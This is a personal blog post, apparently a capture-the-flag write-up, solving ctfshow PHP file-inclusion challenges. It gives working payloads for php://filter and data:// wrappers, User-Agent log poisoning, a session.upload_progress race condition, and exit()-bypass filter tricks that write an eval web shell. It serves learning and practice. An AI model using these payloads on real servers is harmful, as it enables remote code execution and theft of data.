Z1d10tのBlog

A note for myself,have fun!

  1. 1. WEB-78(php://filter)
  2. 2. WEB-79(data://)
  3. 3. WEB-80~81(日志包含)
  4. 4. WEB-82~86(session.upload_progress条件竞争)
  5. 5. WEB-87(exit死亡绕过)
  6. 6. WEB-88(过滤)
  7. 7. WEB-116(Misc)
  8. 8. WEB-117(exit死亡绕过)
  9. 9. 结尾:

ctfshow-文件包含

WEB-78(php://filter)

1
?file=php://filter/convert.base64-encode/resource=flag.php

WEB-79(data://)

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

WEB-80~81(日志包含)

在User-Agent:写入一句话木马

1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
Host: bd0bccfb-0e49-4ac6-841e-dc21b2cfeecb.challenge.ctf.show
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: <?php system('cat fl0g.php'); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.729509020.1680361470
Connection: close

然后访问nginx日志文件路径?file=/var/log/nginx/access.log

WEB-82~86(session.upload_progress条件竞争)

这道题目利用session.upload_progress进行文件包含和条件竞争

相关文章可以看这篇https://www.freebuf.com/vuls/202819.html

条件:

  • php5.4
  • session.upload_progress.enabled=on 当我们上传一个文件 php会把此次文件上传的详细信息存储在session中
  • session.upload_progress.cleanup = on 上传完毕后 php立即清理对应session文件中的内容
  • session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” php会报告上传进度,对我们有用的是它的值可控
  • session.upload_progress.prefix = “upload_progress_” 它和上面的name prefix+name将表示为session中的键名
  • session.use_strict_mode=off 这个表示我们对Cookie中的sessionid可控

首先就是没有session_start()我们该怎么创建session文件

session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。

我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session。并产生一个键值,这个键值由ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但是我们session文件上传后会被立马删除

这里就要利用条件竞争 一边一直发包一边一直去访问 总有一次能访问成功

因此我们所需要做的就是:

  1. 上传文件 在Cookie=flag
  2. 请求包中添加:PHP_SESSION_UPLOAD_PROGRESS然后内容设置为我们的恶意代码(会被写入sess_flag文件中 )
  3. 不断的发包去条件竞争

发包post数据包:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://fd963388-64d1-44dc-a324-28bdf664ad61.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

爆破的两个数据包:

img

1
2
3
4
5
6
7
8
9
GET /?file=/tmp/sess_flag HTTP/1.1
Host: fd963388-64d1-44dc-a324-28bdf664ad61.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.729509020.1680361470
Connection: close

先爆破文件上传 再爆破包含的数据包 但是两个是一起爆破的

img

WEB-87(exit死亡绕过)

这里面讲的很清楚https://xz.aliyun.com/t/8163#toc-2

1
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

就是这里<?php die('大佬别秀了');?>die() 跟exit()函数一样就是脚本运行到这里会退出脚本

也就是说即使我们输入一句话木马 有exit()存在那么永远运行不到我们的木马就会提前退出脚本

这里利用了php://filter/write=convert.base64-decode/resource=1.php注意这里是写入

$content解码 利用php base64_decode函数特性去除死亡exit。

base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过

所以,当$content 包含 时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。

payload:

get:

php://filter/write=convert.base64-decode/resource=1.php对其进行两次url全字符编码

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30因为一次解码在浏览器解析 一次解码在题目中

post:

1
aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

前两个a是用来和phpdieaa组成4个byte 也就是两组 用于base64解码 直接就干掉这个死亡die了 真的太强了

后面的内容是一句话木马base64编码内容

WEB-88(过滤)

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs`没有过滤`:

这里还要把用来base64补位的==去掉因为waf

因为==只是用来补位的所以删除不会影响解码正常

WEB-116(Misc)

提一句视频剪辑的不错:)

binwalk分离出源码

1
?file=flag.php

WEB-117(exit死亡绕过)

大致思路和87一样 不过这里waf了base64 换种解码方式就行了

直接偷别人的payload

1
2
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

img

payload由来:

img

结尾:

文件包含难度还行 keep hacking! 开启下一大陆 php特性 !

本文最后更新于 天前,文中所描述的信息可能已发生改变